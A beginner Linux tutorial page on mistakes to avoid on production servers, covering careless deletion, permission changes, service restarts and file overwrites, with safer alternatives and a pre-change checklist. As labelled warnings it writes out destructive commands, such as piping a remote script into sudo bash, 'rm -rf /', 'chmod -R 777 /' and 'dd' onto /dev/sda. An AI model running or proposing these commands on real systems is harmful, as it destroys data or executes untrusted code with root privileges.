Skip to content

The "Don't Do This" Guide🔗

Part of Day One

This is the seventh and final article in the Day One: Getting Started series. Read this before making any changes to a production server.

You've learned what to do on a production server. Now let's talk about what not to do.

These aren't hypothetical dangers. Every rule here exists because someone (often a very smart someone) made this mistake and caused an outage. Learn from their pain.

Read this before you do anything with sudo.

The Cardinal Rules🔗

Rule 1: Don't Run Commands You Don't Understand🔗

Someone in a forum says "just run this":

DO NOT RUN THIS
1
curl -s http://sketchy-site.com/fix.sh | sudo bash

Never do this. You're downloading and executing unknown code with root privileges.

Even if the command looks harmless, understand what it does before running it:

  • rm deletes things
  • > overwrites files
  • chmod 777 makes everything writable by everyone
  • dd can destroy disks

When in doubt: Ask someone. Look it up. Don't just run it.

Rule 2: Don't Make Changes Without Understanding Impact🔗

Before changing anything, ask:

  1. What does this change do?
  2. What could go wrong?
  3. How do I undo it?
  4. Is anyone else affected?

If you can't answer these questions, you're not ready to make the change.

Rule 3: Test in Lower Environments First🔗

The hierarchy of environments exists for a reason:

Development → Staging → Production
   (safe)      (safe)     (dangerous)

Never test changes in production if you have staging available.

The Dangerous Commands🔗

rm - Delete With Extreme Prejudice🔗

rm doesn't move files to trash. It destroys them. Forever.

DANGEROUS - DO NOT RUN
1
2
3
4
rm -rf /                    # (1)!
rm -rf /*                   # (2)!
rm -rf /home/*              # (3)!
rm -rf ./*                  # (4)!
  1. Deletes EVERYTHING.
  2. Also deletes EVERYTHING.
  3. Deletes all user data.
  4. Deletes everything in the current directory.

The -rf Flags

  • -r = Recursive (delete directories and contents)
  • -f = Force (no confirmation prompts)

Together, they delete everything without asking. One typo and you've lost data.

Safer alternatives:

Safer Deletion
1
2
3
4
5
ls /path/to/delete   # (1)!

rm -ri /path/to/delete  # (2)!

trash-put /path/to/delete   # (3)!
  1. Check what you're about to delete first.
  2. -r still recurses into directories, but dropping -f and adding -i makes rm interactive — it prompts before deleting each file. Slower, but it catches mistakes before they happen.
  3. Use trash-cli if available — moves to a trash folder instead of destroying.

chmod 777 - The Security Disaster🔗

DANGEROUS - DO NOT RUN
1
2
chmod 777 /var/www/app        # (1)!
chmod -R 777 /                # (2)!
  1. Anyone can read/write/execute.
  2. Security nightmare.

777 means: owner, group, AND everyone else can read, write, and execute.

What's wrong with this?

  • Any user on the system can modify your files
  • Attackers who get minimal access can now modify everything
  • Some applications refuse to run with 777 permissions (SSH keys, for example)

What to do instead:

Proper Permissions
1
2
3
4
5
chmod 640 /path/to/file   # (1)!

chmod 750 /path/to/directory   # (2)!

ls -la /path/to/file   # (3)!
  1. Make file readable by owner and group.
  2. Make directory accessible.
  3. If you're not sure, check current permissions and ask what they should be.

Restarting Services in Production🔗

THINK BEFORE RUNNING
1
2
3
sudo systemctl restart nginx
sudo service mysql restart
sudo reboot

These commands cause downtime. Even "restart" has a brief interruption.

Before restarting anything:

  1. Is this production?
  2. What depends on this service?
  3. Is there a maintenance window?
  4. Have you told anyone?
  5. Is there a rollback plan?

Better approach:

  • Ask: "Is it okay to restart nginx on prod?"
  • Check if there's an on-call procedure
  • Schedule a maintenance window if needed
  • Use reload instead of restart when possible (zero-downtime config reload)
Reload vs Restart
1
2
sudo systemctl reload nginx  # (1)!
sudo systemctl restart nginx # (2)!
  1. Reloads config without dropping connections.
  2. Full restart, connections dropped.

Writing to System Files🔗

DANGEROUS - DO NOT RUN
1
2
3
echo "something" > /etc/hosts
cat something > /etc/passwd
> /var/log/syslog  # (1)!
  1. Truncates the log file.

The > operator overwrites files. The >> operator appends. One wrong character and you've destroyed a critical system file.

Before writing to any file:

  1. Is this a system file?
  2. Do you have a backup?
  3. Are you using > or >>?
  4. Have you tested this command?

Safer approach:

Safer File Editing
1
2
3
4
5
sudo cp /etc/hosts /etc/hosts.backup   # (1)!

sudoedit /etc/hosts   # (2)!

cat /etc/hosts   # (3)!
  1. Make a backup first.
  2. Edit safely — sudoedit opens a temp copy in your preferred editor.
  3. Verify the change.

dd - The Disk Destroyer🔗

dd is powerful and dangerous. It writes raw data to devices.

WILL DESTROY YOUR DISK
1
sudo dd if=/dev/zero of=/dev/sda  # (1)!
  1. Wipes the primary disk.

If you see dd in a command, be extremely careful about the of= target. A wrong target destroys data instantly with no confirmation.

Things That Seem Safe But Aren't🔗

Editing Config Files Directly🔗

RISKY
1
sudo vim /etc/nginx/nginx.conf

This isn't dangerous by itself, but:

  • One syntax error can break the service
  • You might accidentally save a half-finished edit
  • Your preferred editor may not be vim

The right tool: sudoedit

sudoedit (also spelled sudo -e) is the correct way to edit system files. It:

  1. Makes a temporary copy of the file
  2. Opens it in your user's default editor (set by your $EDITOR environment variable — nano, vim, whatever you prefer)
  3. Only writes back to the original if you save and exit cleanly

If you abort or make an error and don't save, the original file is untouched.

The Safe Way to Edit System Files
1
2
3
sudoedit /etc/nginx/nginx.conf
# or equivalently:
sudo -e /etc/nginx/nginx.conf

Set your preferred editor (add to your ~/.bashrc or ~/.zshrc):

Set Your Editor
1
export EDITOR=nano   # (1)!
  1. Or vim, micro, etc. — whichever editor you prefer.

After editing, test and reload:

Test and Reload
1
2
3
sudo nginx -t   # (1)!

sudo systemctl reload nginx   # (2)!
  1. Test the config.
  2. Only reload if the test passes.

Running Scripts Without Reading Them🔗

RISKY
1
sudo ./fix-everything.sh

Always read the script first:

Check Script Contents
1
2
cat ./fix-everything.sh
less ./fix-everything.sh

Look for rm, dd, chmod, service restarts, or anything you don't understand.

Copying Commands from the Internet🔗

That Stack Overflow answer might be:

  • Outdated
  • Written for a different Linux distribution
  • Missing context
  • Malicious (rare but possible)

Always understand before running:

  • What does each part of the command do?
  • Is this appropriate for your system?
  • What's the worst that could happen?

Production Safety Checklist🔗

Before making any change in production:

Check Question
✅ Do I understand what this command does?
✅ Have I tested this in a lower environment?
✅ Do I have a rollback plan?
✅ Have I made a backup (if applicable)?
✅ Does anyone else need to know?
✅ Is there a change management process I should follow?
✅ Am I comfortable explaining this to my team lead?

If any answer is "no", stop and get help.

Practice Problems🔗

Problem 1: Safe Config Edit Workflow

You need to check the worker_processes setting in /etc/nginx/nginx.conf. Walk through the safe approach: backup, view, verify — without actually changing anything.

Hint: Three steps — backup the file, read it, validate the syntax.

Answer
Safe Config Inspection Workflow
1
2
3
4
5
sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup   # (1)!

grep "worker_processes" /etc/nginx/nginx.conf   # (2)!

sudo nginx -t   # (3)!
  1. Make a backup (even before read-only inspection, if you might edit later).
  2. Read the config (safe, read-only).
  3. Validate current syntax (before touching anything).

If you did edit and broke something:

Restore from Backup
1
2
3
sudo cp /etc/nginx/nginx.conf.backup /etc/nginx/nginx.conf
sudo nginx -t
sudo systemctl reload nginx

Problem 2: The Pre-Change Checklist

Your team lead asks you to restart the mysql service on a production server. Before touching the keyboard, what questions do you need answers to?

Answer

Work through the production safety checklist:

  1. Do I understand what systemctl restart mysql does? — Brief downtime. All active connections will drop.
  2. Have I tested this in staging? — Is there a staging server to verify first?
  3. Do I have a rollback plan? — If MySQL doesn't come back up, what's the procedure?
  4. Does anyone else need to know? — Is anyone currently using the database? Alert the team first.
  5. Is there a change management process? — Does this require a ticket, approval, or maintenance window?
  6. Am I comfortable explaining this to my team lead? — If not, ask before acting.

If any answer is "no" or "I don't know" — stop and ask before proceeding.

When Things Go Wrong🔗

You made a mistake. Something broke. Now what?

Don't Panic🔗

Seriously. Panic leads to worse mistakes.

Stop Making Changes🔗

Don't try to "fix" it with more commands. You might make it worse.

Document What Happened🔗

What command did you run? What time? What server?

Ask for Help🔗

Tell your team immediately. The longer you wait, the worse it gets.

"Hey, I ran [command] on [server] and [symptom]. I need help."

Much better than trying to fix it alone and making it worse.

Learn from It🔗

Every outage is a learning opportunity. Post-mortems exist to prevent repeats, not to assign blame.

The Escape Hatches🔗

Ctrl+C - Stop Current Command🔗

If a command is running and you want to stop it:

Ctrl+C

Undo Recent File Edit🔗

If you just edited a file and the service is broken:

Restore Backup
1
2
sudo cp /etc/nginx/nginx.conf.backup /etc/nginx/nginx.conf
sudo systemctl reload nginx

Check What Changed🔗

Diff Against Backup
1
diff /etc/nginx/nginx.conf /etc/nginx/nginx.conf.backup

Quick Reference: Safe vs Dangerous🔗

Safe (Read-Only) Dangerous (Modifies)
ls, cat, less rm, mv, cp
grep, find chmod, chown
ps, top kill, pkill
systemctl status systemctl restart/stop
df, du dd, mkfs
git log, git status git push, git reset

The Golden Rules Summary🔗

  1. Understand before you run — Don't blindly execute commands
  2. Test in staging first — Production is not for experiments
  3. Make backups — Before changing any config file
  4. Ask if unsure — It's okay not to know everything
  5. Communicate — Tell people before and after changes
  6. Have a rollback plan — Know how to undo
  7. Stay calm — Panic makes mistakes worse

Further Reading🔗

Command References🔗

  • man cp — Understand the -p flag to preserve file permissions and timestamps when making backups
  • man diff — Compare two files side-by-side to verify what changed before and after an edit
  • man chmod — Understand permission notation before changing it

Deep Dives🔗

You've Completed Day One!🔗

Congratulations! You now know how to:

  • ✅ Connect to a server via SSH
  • ✅ Orient yourself on a new system
  • ✅ Understand your permissions
  • ✅ Explore safely
  • ✅ Read logs like a pro
  • ✅ Find documentation and understand what's running
  • ✅ Avoid dangerous mistakes

What's next?

If you're a developer who just needed to work safely on Linux, you're done — come back when you need more.

If you're an IT professional who wants to actually own Linux — sysadmin, platform engineer, SRE — the Essentials track is where the real work starts: filesystem layout, permissions management, user accounts, process control, pipes, and grep. Built for IT professionals, not beginners.